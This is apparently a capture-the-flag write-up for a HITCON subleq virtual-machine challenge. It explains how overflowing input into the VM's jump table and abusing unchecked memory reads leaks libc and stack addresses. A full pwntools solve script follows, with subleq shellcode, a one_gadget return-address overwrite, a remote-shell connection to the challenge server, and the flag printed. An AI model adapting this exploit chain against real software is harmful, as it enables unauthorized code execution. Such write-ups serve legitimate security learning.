## VM structureFirst we need to understand how the subleq vm works. If you reference the elvm backend, you can notice that it's structed as follow:
|Init (3)|Register (6)|Constants (7)|Memory/Stack (1024)|Jump Table (30) |Code Segment (...) |
Our input are read in a readline like fasion, and put at the start of the memory section. Naturally, you cover overflow the program and write into the jump table, thereby controlling the program counter within the VM. If you put the shellcode in your input, you can jump to your own input and execute arbitrary subleq code.
## Leaking Addresses and RCESince we know that the program memory is malloc with a large chunk, the program will allocate the chunk using mmap, putting it at a fix offset to libc. The vm have an issue that it does check if the memory is out of bound before reading and writing, therefore we can read arbitrary value from the libc.
One path is to leaverage the environment pointer in libc. We can calculate the offset of environ pointer to our chunk, and read the value into a controlled memory location. However, to utilize the value, we need a method to deference the pointer. Since each subleq value is 8 byte, we need to divide the value we get by 8 before using that as the index to the stack. It actually took me longer to divide the value than all the other steps combined.  The other path is to overwrite the stdout structure to leak value, and use subleq shellcode to read value back. 
After you leak the value, you just overwrite the return pointer and do ROP, and that's your shell!
## Solve script```#!/usr/bin/python3from pwn import *
elf = ELF("./lessequalmore_patched")libc = ELF("./libc.so.6")ld = ELF("./ld-linux-x86-64.so.2")
context.binary = elfcontext.terminal = ["tmux", "splitw", "-h"]
#p = process(["./lessequalmore_patched", "../dist/chal.txt"])p = remote("34.81.247.217", 11111)
def send_int(n):    if n >= 0:        p.sendline(f"%{n}")    else:        n+=(1<<64)        p.sendline(f"%{n}")
def send_ints(ns):    for i in ns:        send_int(i)
def send_str(s):    for i in s:        send_int(ord(i))
flag = "hitcon{r3vErs1ng_0n3_1ns7ruction_vm_1s_Ann0ying_c9adf98b67af517}"# 64+1 -> input# 16+1 -> buf# 64 -> target# 20+1 -> prompt# 12+1 -> prompt2# 27+1 -> win# 18+1 -> losepadding = sum([64+1, 16+1, 64, 20+1, 12+1, 27+1, 18+1])mem = 1024print(padding)#send_str("\x00"*(64+1+16+1+64+20+1))#send_str("a"*(12+1+27+1+18+1))
cur_ip = 16def subleq(a, b, target=None):    global cur_ip    cur_ip += 3    if target:        return [a, b, target]    else:        return [a, b, cur_ip]
def to_data(idx):    return 19+idx
# data:# stack offset# r shift amount# overflow base# 1# one_gadgetone_gadget = [0x50a37, 0xebcf1, 0xebcf5, 0xebcf8][2]
data = [1, libc.symbols['malloc'], 0x148 - (0x84000 - 0x10), 1<<56, 52, -1*one_gadget]print(data)shellcode = subleq(0, 0, cur_ip + 3 + len(data))cur_ip+=len(data)# datashellcode+= datashellcode+= subleq(1, 1)shellcode+= subleq(to_data(0), 1) # get -1shellcode+= subleq(2, 2)shellcode+= subleq(3, 3)shellcode+= subleq(4, 4)libc_malloc = libc.got['malloc'] + 0x84000 - 0x10 # libc_offset + mmap size - heap chunk headershellcode+= subleq(libc_malloc//8, 2)shellcode+= subleq(2, 3)shellcode+= subleq(to_data(1), 3) # libc baselibc_environ = libc.symbols['environ'] + 0x84000 - 0x10 # libc_offset + mmap size - heap chunk headershellcode+= subleq(2, 2)shellcode+= subleq(libc_environ//8, 2)shellcode+= subleq(2, 4)shellcode+= subleq(3, 4) # subtract libc_baseshellcode+= subleq(to_data(2), 4) # subtract offset from libc_base & from environshellcode+= subleq(2, 2)shellcode+= subleq(5, 5)shellcode+= subleq(4, 2)shellcode+= subleq(2, 5)shellcode+= subleq(7, 7) # countershellcode+= subleq(2, 2)# divide by 8#div_label = cur_ipshellcode+= subleq(2, 2)shellcode+= subleq(2, 2)shellcode+= subleq(5, 2)shellcode+= subleq(5, 2) # [3]->-2nshellcode+= subleq(5, 5)shellcode+= subleq(2, 5) # [5]->2n
shellcode+= subleq(6, 6)shellcode+= subleq(2, 6) # [6]->2nshellcode+= subleq(to_data(3), 6, cur_ip+12) #[if 1<<56 < [6]] continueshellcode+= subleq(to_data(3), 5) # [5] -= 1<<56shellcode+= subleq(1, 5)          # [5] += 1shellcode+= subleq(0, 0)shellcode+= subleq(0, 0)shellcode+= subleq(0, 0)shellcode+= subleq(1, 7) # counter += 1
shellcode+= subleq(8, 8)shellcode+= subleq(2, 2)shellcode+= subleq(7, 2)shellcode+= subleq(2, 8) # [8] = countershellcode+= subleq(to_data(4), 8, div_label)# now [5] points to return addressshellcode+= subleq(2, 2)shellcode+= subleq(0, 0)shellcode+= subleq(2, 2)shellcode+= subleq(5, 2)shellcode+= subleq(2, cur_ip+6)shellcode+= subleq(2, cur_ip+4)shellcode+= subleq(0, 0)shellcode+= subleq(to_data(5), 3)shellcode+= subleq(3, 11)shellcode+= subleq(2, cur_ip+4)shellcode+= subleq(11, 0)shellcode+= subleq(0, 0, -2)
send_ints(shellcode)
send_str("\x00" * (mem - len(shellcode)))
gdb_script = """handle SIGSEGV stop nopasscset $rax=$rbxb *op1b *run_program+165"""
#gdb.attach(p, gdb_script)
jmp_table = [1070,1134,1362,1558,1754,1950,2211,2456,2717,2962,3094,3110,3389,3521,3717,3720,3916,3919,4198,4333,4503,4906,5185,5325,5429,5754,25688,42696,43215,43715]print(len(jmp_table))jmp_table = [16] * len(jmp_table)send_ints(jmp_table)p.interactive()```